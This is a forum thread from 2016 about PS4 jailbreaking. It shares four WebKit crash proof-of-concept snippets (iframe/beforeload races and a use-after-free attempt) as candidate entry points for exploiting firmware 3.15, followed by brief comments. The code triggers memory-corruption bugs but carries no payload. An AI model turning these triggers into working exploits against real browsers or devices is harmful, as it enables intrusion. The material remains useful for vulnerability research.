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PS4 Jailbreaking       Thread starter mcmrc1       Start date Apr 10, 2016 at 12:04 PM       150      
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Following the recent PS4 Dlclose Exploit for 1.76 Firmware, today I'd like to share a talk between zecoxao and Zer0xFF on finding an entry point for testing with PS4 Firmware 3.15 and also 3.50.
@zecoxao seems to be working on an entry point for the PS4 3.15 FW and wants some testers :)
1. Entry point:
Code:
<iframe></iframe><object onbeforeload="crash()">
    <script>
    if (window.testRunner) {
        testRunner.dumpAsText();
        testRunner.waitUntilDone();
    }

    function crash() {
        document.getElementsByTagName("iframe")[0].contentWindow.scrollX;
        document.open();
    }

    document.body.offsetLeft;
    setTimeout(function() {
        document.close();
        document.body.innerHTML = 'PASS if not crashed.';
        testRunner.notifyDone();
    }, 1);
    </script>
2. Entry point:
Code:
<input id="t1" type="time">
    <script>
    var time1 = document.getElementById('t1');
    document.addEventListener('beforeload', function(event) {
        time1.value = time1.value ? '' : '23:59';
    }, true);

    if (window.testRunner) {
        testRunner.dumpAsText();
        testRunner.waitUntilDone();
    }
    setTimeout(function() {
        document.body.innerHTML = 'PASS if not crashed.';
        testRunner.notifyDone();
    }, 100);
    time1.focus();
    </script>
    <embed src="data:text/html,PASS"></embed>
Also the the source code from the Webkit from Sony ;)
3. Entry Point:
Code:
<script>
function inituaf() {
  for(var i=0; i<100; i++) {
    for(var j=0; j<32; j++) {
    }
  }
  try { CollectGarbage(); } catch(err) {
    try { window.gc(); } catch(err) {
      for(var i=0; i<100; i++) {
      }
    }
  }
}

function eventhandler2() {

  try { var00002 = document; } catch(err) { } //line 2
  try { var00003 = var00002; } catch(err) { } //line 3
  try { var00043 = 0; } catch(err) { } //line 45
  try { var00044 = var00003.getElementsByTagName("iframe")[var00043]; } catch(err) { } //line 46
  try { var00045 = var00044.contentWindow; } catch(err) { } //line 47
  try { var00063 = -1; } catch(err) { } //line 67
  try { var00064 = 0; } catch(err) { } //line 68
  try { var00045.scrollTo(var00063,var00064); } catch(err) { } //line 69
  try { var00002.write(); } catch(err) { } //line 185
}


</script>
><object onbeforeload="eventhandler2()"><iframe>
4. Entry Point:
Code:
<!DOCTYPE html>
<html>
<body>
<iframe></iframe>
<script>

var _gc;

function run()
{
    var iframe = document.getElementsByTagName('iframe')[0];
    iframe.contentDocument.documentElement.contentEditable = true;

    iframe.contentDocument.documentElement.addEventListener('focusout', function () {
        iframe.parentNode.removeChild(iframe);
    }, false);

    iframe.contentDocument.documentElement.focus();
}
document.addEventListener('DOMContentLoaded', run);
</script>
</body>
</html>
PS4 3.15 Firmware Entry Point.png
 

Comments

It's on here I will see if I can find it. I know you cod also use the tools I have aswel as they also gave without fpga and compilers and looks to use over network for various things but is based on bare metal

For sure, I'm going to dig into them you sent me, and see what results they give as well.
 
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